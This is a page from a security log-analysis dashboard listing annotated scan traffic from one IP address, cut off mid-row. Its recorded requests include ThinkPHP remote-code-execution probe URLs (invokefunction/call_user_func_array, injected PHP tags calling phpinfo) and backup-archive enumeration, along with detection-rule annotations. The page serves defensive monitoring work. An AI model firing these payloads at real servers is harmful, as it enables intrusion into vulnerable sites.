← Back to IP report

Log Explorer

Fact drill-down for 23.95.214.165

Risk 62 MED Scope All time All-time facts 834 In-scope 834 Filtered 834 Seen 2025-08-26 → 2025-08-26

Freestyle query (contains)

Time (days, optional)

Page size 25 50 100 200

Apply Reset (all-time)

Active (none) Clear

Faceted filters (facts-based) exact core + snapshot + optional start/end

Annotation facets

Annotator (exact) (any) base — 513 trav — 109 sfp — 69 scan_velocity — 49 cred — 42 cmdi — 15 fwprobe — 14 ua — 13 injg — 4 hdrinj — 3 proto — 3 Severity (exact) (any) (none) — 540 34 — 68 36 — 31 28 — 29 10 — 26 30 — 23 44 — 23 26 — 23 16 — 22 12 — 14 32 — 14 22 — 7 24 — 6 8 — 6 20 — 2 Label (exact) (any) observed — 513 trav — 109 sensitive_file — 69 scan_velocity — 49 cred — 42 cmdi — 15 fwprobe — 14 ua — 13 injg — 4 hdrinj — 3 proto — 3

HTTP facets

Method (exact, case-insensitive) (any) GET — 652 POST — 172 PUT — 8 HEAD — 2 HTTP status (exact) (any) 499 — 589 404 — 122 200 — 47 400 — 42 301 — 24 500 — 4 302 — 4 403 — 2

Snapshot facets

Subnet (exact) (any) 23.95.214.0/24 — 834 ASN (exact) (any) 36352 — 834 Country / Region / City (exact)

(any country) United States — 834 (any region) California — 834

(any city) Santa Clara — 834

Org contains (ip_org or as_org_name)

Custom time window (optional override)

Provide start/end to scope time explicitly (overrides days). Leave blank for all-time.

Start

End

Tip: keep windows tight when you need speed, but the default is fact-complete.

Top annotators (facts, in-scope)

base 513 trav 109 sfp 69 scan_velocity 49 cred 42 cmdi 15 fwprobe 14 ua 13 injg 4 hdrinj 3 proto 3

Top labels (facts, in-scope)

observed 513 trav 109 sensitive_file 69 scan_velocity 49 cred 42 cmdi 15 fwprobe 14 ua 13 injg 4 hdrinj 3 proto 3

Click a pill to apply it as a filter.

Annotated access events

Showing page 1 / 17 — total 834 rows

← Prev Next →

#1 2025-08-26 01:56:14 event 14768819 GET 499

ann base label observed

Request event observed

/?s=index/\x5Cthink\x5Cmodule/action/param1/${@phpinfo()}

referer

-

UA

Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.32 Safari/537.36

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/?s=index/\x5Cthink\x5Cmodule/action/param1/${@phpinfo()}

referer

-

UA

Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.32 Safari/537.36

summary

event observed

details

—

subnet

23.95.214.0/24

asn

36352 — HostPapa

geo

United States, California, Santa Clara

org

RackNerd LLC

#2 2025-08-26 01:56:02 event 14768815 GET 499

ann base label observed

Request event observed

/?s=index/\x5Cthink\x5Cmodule/action/param1/${@phpinfo()}

referer

-

UA

Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.32 Safari/537.36

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/?s=index/\x5Cthink\x5Cmodule/action/param1/${@phpinfo()}

referer

-

UA

Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.32 Safari/537.36

summary

event observed

details

—

subnet

23.95.214.0/24

asn

36352 — HostPapa

geo

United States, California, Santa Clara

org

RackNerd LLC

#3 2025-08-26 01:55:52 event 14768809 GET 499

ann base label observed

Request event observed

/?s=index/\x5Cthink\x5CRequest/input&filter[]=phpinfo&data=-1

referer

-

UA

Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/?s=index/\x5Cthink\x5CRequest/input&filter[]=phpinfo&data=-1

referer

-

UA

Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36

summary

event observed

details

—

subnet

23.95.214.0/24

asn

36352 — HostPapa

geo

United States, California, Santa Clara

org

RackNerd LLC

#4 2025-08-26 01:55:52 event 14768809 GET 499

ann scan_velocity 20 label scan_velocity

Request Scan-velocity indicator: scanv:ext_enum

/?s=index/\x5Cthink\x5CRequest/input&filter[]=phpinfo&data=-1

referer

-

UA

Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36

Annotation facts

label

scan_velocity

rule

scanv:ext_enum

conf

85.00

details

ext_hits=156; score=10; window=90s; total=175; rpm_equiv=116.7; upm_nonstatic_equiv=8.0; 404=0/175(0.00); ext_hits=156; ua_sig=0; methods=['GET', 'POST']

More (full fields + snapshot) expand

url

/?s=index/\x5Cthink\x5CRequest/input&filter[]=phpinfo&data=-1

referer

-

UA

Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36

summary

Scan-velocity indicator: scanv:ext_enum

details

ext_hits=156; score=10; window=90s; total=175; rpm_equiv=116.7; upm_nonstatic_equiv=8.0; 404=0/175(0.00); ext_hits=156; ua_sig=0; methods=['GET', 'POST']

subnet

23.95.214.0/24

asn

36352 — HostPapa

geo

United States, California, Santa Clara

org

RackNerd LLC

#5 2025-08-26 01:55:52 event 14768809 GET 499

ann scan_velocity 20 label scan_velocity

Request Scan-velocity indicator: scanv:rpm

/?s=index/\x5Cthink\x5CRequest/input&filter[]=phpinfo&data=-1

referer

-

UA

Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36

Annotation facts

label

scan_velocity

rule

scanv:rpm

conf

85.00

details

rpm_equiv=116.7; score=10; window=90s; total=175; rpm_equiv=116.7; upm_nonstatic_equiv=8.0; 404=0/175(0.00); ext_hits=156; ua_sig=0; methods=['GET', 'POST']

More (full fields + snapshot) expand

url

/?s=index/\x5Cthink\x5CRequest/input&filter[]=phpinfo&data=-1

referer

-

UA

Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36

summary

Scan-velocity indicator: scanv:rpm

details

rpm_equiv=116.7; score=10; window=90s; total=175; rpm_equiv=116.7; upm_nonstatic_equiv=8.0; 404=0/175(0.00); ext_hits=156; ua_sig=0; methods=['GET', 'POST']

subnet

23.95.214.0/24

asn

36352 — HostPapa

geo

United States, California, Santa Clara

org

RackNerd LLC

#6 2025-08-26 01:55:52 event 14768809 GET 499

ann scan_velocity label scan_velocity

Request Scan-velocity window summary

/?s=index/\x5Cthink\x5CRequest/input&filter[]=phpinfo&data=-1

referer

-

UA

Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36

Annotation facts

label

scan_velocity

rule

scanv:window

conf

—

details

window=90s; total=175; rpm_equiv=116.7; upm_nonstatic_equiv=8.0; 404=0/175(0.00); ext_hits=156; ua_sig=0; methods=['GET', 'POST']

More (full fields + snapshot) expand

url

/?s=index/\x5Cthink\x5CRequest/input&filter[]=phpinfo&data=-1

referer

-

UA

Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36

summary

Scan-velocity window summary

details

window=90s; total=175; rpm_equiv=116.7; upm_nonstatic_equiv=8.0; 404=0/175(0.00); ext_hits=156; ua_sig=0; methods=['GET', 'POST']

subnet

23.95.214.0/24

asn

36352 — HostPapa

geo

United States, California, Santa Clara

org

RackNerd LLC

#7 2025-08-26 01:55:40 event 14768799 GET 499

ann base label observed

Request event observed

/?s=index/\x5Cthink\x5CRequest/input&filter[]=phpinfo&data=-1

referer

-

UA

Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/?s=index/\x5Cthink\x5CRequest/input&filter[]=phpinfo&data=-1

referer

-

UA

Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36

summary

event observed

details

—

subnet

23.95.214.0/24

asn

36352 — HostPapa

geo

United States, California, Santa Clara

org

RackNerd LLC

#8 2025-08-26 01:55:30 event 14768792 GET 499

ann base label observed

Request event observed

/?s=index/\x5Cthink\x5CContainer/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

referer

-

UA

Mozilla/5.0 (Macintosh; Intel Mac OS X 14_4) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/17.1.15

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/?s=index/\x5Cthink\x5CContainer/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

referer

-

UA

Mozilla/5.0 (Macintosh; Intel Mac OS X 14_4) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/17.1.15

summary

event observed

details

—

subnet

23.95.214.0/24

asn

36352 — HostPapa

geo

United States, California, Santa Clara

org

RackNerd LLC

#9 2025-08-26 01:55:19 event 14768787 GET 499

ann base label observed

Request event observed

/?s=index/\x5Cthink\x5CContainer/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

referer

-

UA

Mozilla/5.0 (Macintosh; Intel Mac OS X 14_4) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/17.1.15

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/?s=index/\x5Cthink\x5CContainer/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

referer

-

UA

Mozilla/5.0 (Macintosh; Intel Mac OS X 14_4) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/17.1.15

summary

event observed

details

—

subnet

23.95.214.0/24

asn

36352 — HostPapa

geo

United States, California, Santa Clara

org

RackNerd LLC

#10 2025-08-26 01:55:19 event 14768787 GET 499

ann scan_velocity 26 label scan_velocity

Request Scan-velocity indicator: scanv:ext_enum

/?s=index/\x5Cthink\x5CContainer/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

referer

-

UA

Mozilla/5.0 (Macintosh; Intel Mac OS X 14_4) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/17.1.15

Annotation facts

label

scan_velocity

rule

scanv:ext_enum

conf

85.00

details

ext_hits=258; score=13; window=90s; total=289; rpm_equiv=192.7; upm_nonstatic_equiv=22.0; 404=0/289(0.00); ext_hits=258; ua_sig=0; methods=['GET', 'POST']

More (full fields + snapshot) expand

url

/?s=index/\x5Cthink\x5CContainer/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

referer

-

UA

Mozilla/5.0 (Macintosh; Intel Mac OS X 14_4) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/17.1.15

summary

Scan-velocity indicator: scanv:ext_enum

details

ext_hits=258; score=13; window=90s; total=289; rpm_equiv=192.7; upm_nonstatic_equiv=22.0; 404=0/289(0.00); ext_hits=258; ua_sig=0; methods=['GET', 'POST']

subnet

23.95.214.0/24

asn

36352 — HostPapa

geo

United States, California, Santa Clara

org

RackNerd LLC

#11 2025-08-26 01:55:19 event 14768787 GET 499

ann scan_velocity 26 label scan_velocity

Request Scan-velocity indicator: scanv:rpm

/?s=index/\x5Cthink\x5CContainer/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

referer

-

UA

Mozilla/5.0 (Macintosh; Intel Mac OS X 14_4) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/17.1.15

Annotation facts

label

scan_velocity

rule

scanv:rpm

conf

85.00

details

rpm_equiv=192.7; score=13; window=90s; total=289; rpm_equiv=192.7; upm_nonstatic_equiv=22.0; 404=0/289(0.00); ext_hits=258; ua_sig=0; methods=['GET', 'POST']

More (full fields + snapshot) expand

url

/?s=index/\x5Cthink\x5CContainer/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

referer

-

UA

Mozilla/5.0 (Macintosh; Intel Mac OS X 14_4) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/17.1.15

summary

Scan-velocity indicator: scanv:rpm

details

rpm_equiv=192.7; score=13; window=90s; total=289; rpm_equiv=192.7; upm_nonstatic_equiv=22.0; 404=0/289(0.00); ext_hits=258; ua_sig=0; methods=['GET', 'POST']

subnet

23.95.214.0/24

asn

36352 — HostPapa

geo

United States, California, Santa Clara

org

RackNerd LLC

#12 2025-08-26 01:55:19 event 14768787 GET 499

ann scan_velocity label scan_velocity

Request Scan-velocity window summary

/?s=index/\x5Cthink\x5CContainer/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

referer

-

UA

Mozilla/5.0 (Macintosh; Intel Mac OS X 14_4) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/17.1.15

Annotation facts

label

scan_velocity

rule

scanv:window

conf

—

details

window=90s; total=289; rpm_equiv=192.7; upm_nonstatic_equiv=22.0; 404=0/289(0.00); ext_hits=258; ua_sig=0; methods=['GET', 'POST']

More (full fields + snapshot) expand

url

/?s=index/\x5Cthink\x5CContainer/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

referer

-

UA

Mozilla/5.0 (Macintosh; Intel Mac OS X 14_4) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/17.1.15

summary

Scan-velocity window summary

details

window=90s; total=289; rpm_equiv=192.7; upm_nonstatic_equiv=22.0; 404=0/289(0.00); ext_hits=258; ua_sig=0; methods=['GET', 'POST']

subnet

23.95.214.0/24

asn

36352 — HostPapa

geo

United States, California, Santa Clara

org

RackNerd LLC

#13 2025-08-26 01:55:08 event 14768781 GET 499

ann base label observed

Request event observed

/?s=index/\x5Cthink\x5Cview\x5Cdriver\x5CPhp/display&content=<?php+phpinfo();?>

referer

-

UA

Mozilla/5.0 (CentOS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/?s=index/\x5Cthink\x5Cview\x5Cdriver\x5CPhp/display&content=<?php+phpinfo();?>

referer

-

UA

Mozilla/5.0 (CentOS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36

summary

event observed

details

—

subnet

23.95.214.0/24

asn

36352 — HostPapa

geo

United States, California, Santa Clara

org

RackNerd LLC

#14 2025-08-26 01:55:08 event 14768781 GET 499

ann cmdi 22 label cmdi

Request Command/file-injection indicator: cmdi:pipe_or_redirect

/?s=index/\x5Cthink\x5Cview\x5Cdriver\x5CPhp/display&content=<?php+phpinfo();?>

referer

-

UA

Mozilla/5.0 (CentOS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36

Annotation facts

label

cmdi

rule

cmdi:pipe_or_redirect

conf

75.00

details

Pipe/redirect operators in a context that resembles command execution. Snippet='=index/\x5Cthink\x5Cview\x5Cdriver\x5CPhp/display&content=<?php phpinfo();?> -'

More (full fields + snapshot) expand

url

/?s=index/\x5Cthink\x5Cview\x5Cdriver\x5CPhp/display&content=<?php+phpinfo();?>

referer

-

UA

Mozilla/5.0 (CentOS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36

summary

Command/file-injection indicator: cmdi:pipe_or_redirect

details

Pipe/redirect operators in a context that resembles command execution. Snippet='=index/\x5Cthink\x5Cview\x5Cdriver\x5CPhp/display&content=<?php phpinfo();?> -'

subnet

23.95.214.0/24

asn

36352 — HostPapa

geo

United States, California, Santa Clara

org

RackNerd LLC

#15 2025-08-26 01:55:08 event 14768781 GET 499

ann cmdi 28 label cmdi

Request Command/file-injection indicator: cmdi:op_plus_cmd

/?s=index/\x5Cthink\x5Cview\x5Cdriver\x5CPhp/display&content=<?php+phpinfo();?>

referer

-

UA

Mozilla/5.0 (CentOS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36

Annotation facts

label

cmdi

rule

cmdi:op_plus_cmd

conf

88.00

details

Command separator/operator combined with a recognized command token. Snippet='=index/\x5Cthink\x5Cview\x5Cdriver\x5CPhp/display&content=<?php phpinfo();?> -'

More (full fields + snapshot) expand

url

/?s=index/\x5Cthink\x5Cview\x5Cdriver\x5CPhp/display&content=<?php+phpinfo();?>

referer

-

UA

Mozilla/5.0 (CentOS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36

summary

Command/file-injection indicator: cmdi:op_plus_cmd

details

Command separator/operator combined with a recognized command token. Snippet='=index/\x5Cthink\x5Cview\x5Cdriver\x5CPhp/display&content=<?php phpinfo();?> -'

subnet

23.95.214.0/24

asn

36352 — HostPapa

geo

United States, California, Santa Clara

org

RackNerd LLC

#16 2025-08-26 01:54:57 event 14768767 GET 499

ann base label observed

Request event observed

/1.zip

referer

-

UA

Mozilla/5.0 (SS; Linux x86_64; rv:135.0) Gecko/20100101 Firefox/135.0

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/1.zip

referer

-

UA

Mozilla/5.0 (SS; Linux x86_64; rv:135.0) Gecko/20100101 Firefox/135.0

summary

event observed

details

—

subnet

23.95.214.0/24

asn

36352 — HostPapa

geo

United States, California, Santa Clara

org

RackNerd LLC

#17 2025-08-26 01:54:57 event 14768766 GET 499

ann base label observed

Request event observed

/aaa.zip

referer

-

UA

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36 Edge/15.15063

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/aaa.zip

referer

-

UA

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36 Edge/15.15063

summary

event observed

details

—

subnet

23.95.214.0/24

asn

36352 — HostPapa

geo

United States, California, Santa Clara

org

RackNerd LLC

#18 2025-08-26 01:54:57 event 14768765 GET 499

ann base label observed

Request event observed

/bak.zip

referer

-

UA

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/bak.zip

referer

-

UA

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36

summary

event observed

details

—

subnet

23.95.214.0/24

asn

36352 — HostPapa

geo

United States, California, Santa Clara

org

RackNerd LLC

#19 2025-08-26 01:54:57 event 14768764 GET 499

ann base label observed

Request event observed

/backups.zip

referer

-

UA

Mozilla/5.0 (Mac OS X 13_2) AppleWebKit/537.36 (KHTML, like Gecko) Edge/101.0 Safari/537.36

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/backups.zip

referer

-

UA

Mozilla/5.0 (Mac OS X 13_2) AppleWebKit/537.36 (KHTML, like Gecko) Edge/101.0 Safari/537.36

summary

event observed

details

—

subnet

23.95.214.0/24

asn

36352 — HostPapa

geo

United States, California, Santa Clara

org

RackNerd LLC

#20 2025-08-26 01:54:57 event 14768763 GET 499

ann base label observed

Request event observed

/a.zip

referer

-

UA

Mozilla/5.0 (SS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/a.zip

referer

-

UA

Mozilla/5.0 (SS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36

summary

event observed

details

—

subnet

23.95.214.0/24

asn

36352 — HostPapa

geo

United States, California, Santa Clara

org

RackNerd LLC

#21 2025-08-26 01:54:57 event 14768762 GET 499

ann base label observed

Request event observed

/backup.zip

referer

-

UA

Mozilla/5.0 (Mac OS X 13_2) AppleWebKit/537.36 (KHTML, like Gecko) Edge/121.0 Safari/537.36

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/backup.zip

referer

-

UA

Mozilla/5.0 (Mac OS X 13_2) AppleWebKit/537.36 (KHTML, like Gecko) Edge/121.0 Safari/537.36

summary

event observed

details

—

subnet

23.95.214.0/24

asn

36352 — HostPapa

geo

United States, California, Santa Clara

org

RackNerd LLC

#22 2025-08-26 01:54:57 event 14768761 GET 499

ann base label observed

Request event observed

/html.zip

referer

-

UA

Mozilla/5.0 Macintosh Intel Mac OS X 10_15_7 AppleWebKit/605.1.15 KHTML like Gecko Version/18.3.1 Safari/605.1.15

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/html.zip

referer

-

UA

Mozilla/5.0 Macintosh Intel Mac OS X 10_15_7 AppleWebKit/605.1.15 KHTML like Gecko Version/18.3.1 Safari/605.1.15

summary

event observed

details

—

subnet

23.95.214.0/24

asn

36352 — HostPapa

geo

United States, California, Santa Clara

org

RackNerd LLC

#23 2025-08-26 01:54:57 event 14768760 GET 499

ann base label observed

Request event observed

/111.zip

referer

-

UA

Mozilla/5.0 (Windows NT 11.0) AppleWebKit/537.36 (KHTML, like Gecko) Safari/100.0 Safari/537.36

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/111.zip

referer

-

UA

Mozilla/5.0 (Windows NT 11.0) AppleWebKit/537.36 (KHTML, like Gecko) Safari/100.0 Safari/537.36

summary

event observed

details

—

subnet

23.95.214.0/24

asn

36352 — HostPapa

geo

United States, California, Santa Clara

org

RackNerd LLC

#24 2025-08-26 01:54:57 event 14768759 GET 499

ann base label observed

Request event observed

/123.zip

referer

-

UA

Mozilla/5.0 Macintosh Intel Mac OS X 10_15_7 AppleWebKit/605.1.15 KHTML like Gecko Version/18.4 Safari/605.1.15

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/123.zip

referer

-

UA

Mozilla/5.0 Macintosh Intel Mac OS X 10_15_7 AppleWebKit/605.1.15 KHTML like Gecko Version/18.4 Safari/605.1.15

summary

event observed

details

—

subnet

23.95.214.0/24

asn

36352 — HostPapa

geo

United States, California, Santa Clara

org

RackNerd LLC

#25 2025-08-26 01:54:57 event 14768758 GET 499

ann base label observed

Request event observed

/web.zip

referer

-

UA

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/web.zip

referer

-

UA

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36

summary

event observed

details

—

subnet

23.95.214.0/24

asn

36352 — HostPapa

geo

United States, California, Santa Clara

org

RackNerd LLC

#26 2025-08-26 01:54:57 event 14768757 GET 499

ann base label observed

Request event observed

/?s=index/\x5Cthink\x5Cview\x5Cdriver\x5CPhp/display&content=<?php+phpinfo();?>

referer

-

UA

Mozilla/5.0 (CentOS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/?s=index/\x5Cthink\x5Cview\x5Cdriver\x5CPhp/display&content=<?php+phpinfo();?>

referer

-

UA

Mozilla/5.0 (CentOS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36

summary

event observed

details

—

subnet

23.95.214.0/24

asn

36352 — HostPapa

geo

United States, California, Santa Clara

org

RackNerd LLC

#27 2025-08-26 01:54:57 event 14768756 GET 499

ann base label observed

Request event observed

/1.zip

referer

-

UA

Mozilla/5.0 (SS; Linux x86_64; rv:135.0) Gecko/20100101 Firefox/135.0

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/1.zip

referer

-

UA

Mozilla/5.0 (SS; Linux x86_64; rv:135.0) Gecko/20100101 Firefox/135.0

summary

event observed

details

—

subnet

23.95.214.0/24

asn

36352 — HostPapa

geo

United States, California, Santa Clara

org

RackNerd LLC

#28 2025-08-26 01:54:57 event 14768755 GET 499

ann base label observed

Request event observed

/aaa.zip

referer

-

UA

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36 Edge/15.15063

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/aaa.zip

referer

-

UA

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36 Edge/15.15063

summary

event observed

details

—

subnet

23.95.214.0/24

asn

36352 — HostPapa

geo

United States, California, Santa Clara

org

RackNerd LLC

#29 2025-08-26 01:54:57 event 14768754 GET 499

ann base label observed

Request event observed

/bak.zip

referer

-

UA

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/bak.zip

referer

-

UA

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36

summary

event observed

details

—

subnet

23.95.214.0/24

asn

36352 — HostPapa

geo

United States, California, Santa Clara

org

RackNerd LLC

#30 2025-08-26 01:54:57 event 14768753 GET 499

ann base label observed

Request event observed

/backups.zip

referer

-

UA

Mozilla/5.0 (Mac OS X 13_2) AppleWebKit/537.36 (KHTML, like Gecko) Edge/101.0 Safari/537.36

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/backups.zip

referer

-

UA

Mozilla/5.0 (Mac OS X 13_2) AppleWebKit/537.36 (KHTML, like Gecko) Edge/101.0 Safari/537.36

summary

event observed

details

—

subnet

23.95.214.0/24

asn

36352 — HostPapa

geo

United States, California, Santa Clara

org

RackNerd LLC

#31 2025-08-26 01:54:57 event 14768752 GET 499

ann base label observed

Request event observed

/a.zip

referer

-

UA

Mozilla/5.0 (SS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/a.zip

referer

-

UA

Mozilla/5.0 (SS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36

summary

event observed

details

—

subnet

23.95.214.0/24

asn

36352 — HostPapa

geo

United States, California, Santa Clara

org

RackNerd LLC

#32 2025-08-26 01:54:57 event 14768751 GET 499

ann base label observed

Request event observed

/backup.zip

referer

-

UA

Mozilla/5.0 (Mac OS X 13_2) AppleWebKit/537.36 (KHTML, like Gecko) Edge/121.0 Safari/537.36

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/backup.zip

referer

-

UA

Mozilla/5.0 (Mac OS X 13_2) AppleWebKit/537.36 (KHTML, like Gecko) Edge/121.0 Safari/537.36

summary

event observed

details

—

subnet

23.95.214.0/24

asn

36352 — HostPapa

geo

United States, California, Santa Clara

org

RackNerd LLC

#33 2025-08-26 01:54:57 event 14768750 GET 499

ann base label observed

Request event observed

/html.zip

referer

-

UA

Mozilla/5.0 Macintosh Intel Mac OS X 10_15_7 AppleWebKit/605.1.15 KHTML like Gecko Version/18.3.1 Safari/605.1.15

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/html.zip

referer

-

UA

Mozilla/5.0 Macintosh Intel Mac OS X 10_15_7 AppleWebKit/605.1.15 KHTML like Gecko Version/18.3.1 Safari/605.1.15

summary

event observed

details

—

subnet

23.95.214.0/24

asn

36352 — HostPapa

geo

United States, California, Santa Clara

org

RackNerd LLC

#34 2025-08-26 01:54:57 event 14768749 GET 499

ann base label observed

Request event observed

/111.zip

referer

-

UA

Mozilla/5.0 (Windows NT 11.0) AppleWebKit/537.36 (KHTML, like Gecko) Safari/100.0 Safari/537.36

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/111.zip

referer

-

UA

Mozilla/5.0 (Windows NT 11.0) AppleWebKit/537.36 (KHTML, like Gecko) Safari/100.0 Safari/537.36

summary

event observed

details

—

subnet

23.95.214.0/24

asn

36352 — HostPapa

geo

United States, California, Santa Clara

org

RackNerd LLC

#35 2025-08-26 01:54:57 event 14768748 GET 499

ann base label observed

Request event observed

/123.zip

referer

-

UA

Mozilla/5.0 Macintosh Intel Mac OS X 10_15_7 AppleWebKit/605.1.15 KHTML like Gecko Version/18.4 Safari/605.1.15

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/123.zip

referer

-

UA

Mozilla/5.0 Macintosh Intel Mac OS X 10_15_7 AppleWebKit/605.1.15 KHTML like Gecko Version/18.4 Safari/605.1.15

summary

event observed

details

—

subnet

